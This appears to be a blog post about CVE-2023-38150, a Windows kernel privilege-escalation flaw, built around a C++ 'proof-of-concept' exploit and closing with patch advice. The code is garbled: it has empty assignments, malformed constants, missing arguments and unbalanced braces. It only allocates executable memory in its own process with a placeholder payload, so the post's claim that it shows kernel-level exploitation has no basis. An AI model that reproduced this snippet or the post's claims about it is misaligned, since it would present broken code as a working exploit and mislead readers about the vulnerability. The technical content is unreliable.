Windows has been the most widely used operating system since its inception. With the vast range of applications, its reach and usage has expanded across various industries and personnel. However, in the tech world, as the popularity and usage increase, so do the potential vulnerabilities. Today, we will delve into a recently discovered security vulnerability within the Windows kernel, allowing malicious hackers to gain elevated privileges on the target system.

CVE-2023-38150 is a Windows Kernel Elevation of Privilege Vulnerability that allows an attacker with local access to gain administrator privileges and execute arbitrary code in kernel mode.

Exploit Details

CVE-2023-38150 affects Windows 10, Windows Server 2016, and Windows Server 2019. The vulnerability resides in the way the Windows kernel handles memory access permissions. By exploiting this flaw, an adversary can manipulate memory, thus facilitating kernel-level code execution.

The Proof-of-Concept

Below is a simplified version of the exploit code that demonstrates how an attacker can exploit the vulnerability:

#include <Windows.h>
#include <iostream>

//Function prototype declaration
typedef NTSTATUS(WINAPI *NtAllocateVirtualMemory)(
    IN HANDLE ProcessHandle,
    IN OUT PVOID *BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG AllocationSize,
    IN ULONG AllocationType,
    IN ULONG Protect);

//Function pointer for NtAllocateVirtualMemory
NtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL;

void exploit() {
    // Obtain a handle to the target process
    HANDLE processHandle = GetCurrentProcess();

    // Memory allocation variables
    PVOID baseAddress = ;
    ULONG allocationSize = x100;

    // Perform the malicious memory allocation
    pNtAllocateVirtualMemory(processHandle, &baseAddress, , &allocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // Ensure the memory allocation was successful
    if (baseAddress) {
        // Place arbitrary code that will be executed with elevated privileges
        memcpy(baseAddress, "YOUR CODE HERE", sizeof("YOUR CODE HERE"));

        // Execute the malicious code
    else {
        printf("Memory allocation failed\n");

int main() {
    HMODULE ntdllModule = GetModuleHandle("ntdll.dll");
    if (ntdllModule) {
        pNtAllocateVirtualMemory = (NtAllocateVirtualMemory)GetProcAddress(ntdllModule, "NtAllocateVirtualMemory");

        if (pNtAllocateVirtualMemory) {
            return ;

    printf("Exploit failed\n");
    return 1;

*Note: The above code snippet is for informational purposes only. Attempting to reproduce or use it for malicious purposes may lead to legal consequences.*

Microsoft's official advisory for CVE-2023-38150 can be found here

Microsoft Security Advisory CVE-2023-38150

Understanding CVE-2023-38150 - Windows Kernel Elevation of Privilege Vulnerability


To mitigate against this vulnerability, it is vital to keep your Windows operating system up-to-date. Microsoft has released patches to address CVE-2023-38150 in their monthly patch cycle (Patch Tuesday). Ensure that you have installed the latest security updates available for your system.


CVE-2023-38150 highlights the importance of understanding vulnerabilities and staying up-to-date with the latest patches and security updates. By staying vigilant and proactively safeguarding your systems, you can reduce the risks associated with such vulnerabilities. Patch your systems, stay informed, and be secure.


Published on: 09/12/2023 17:15:00 UTC
Last modified on: 09/12/2023 19:38:00 UTC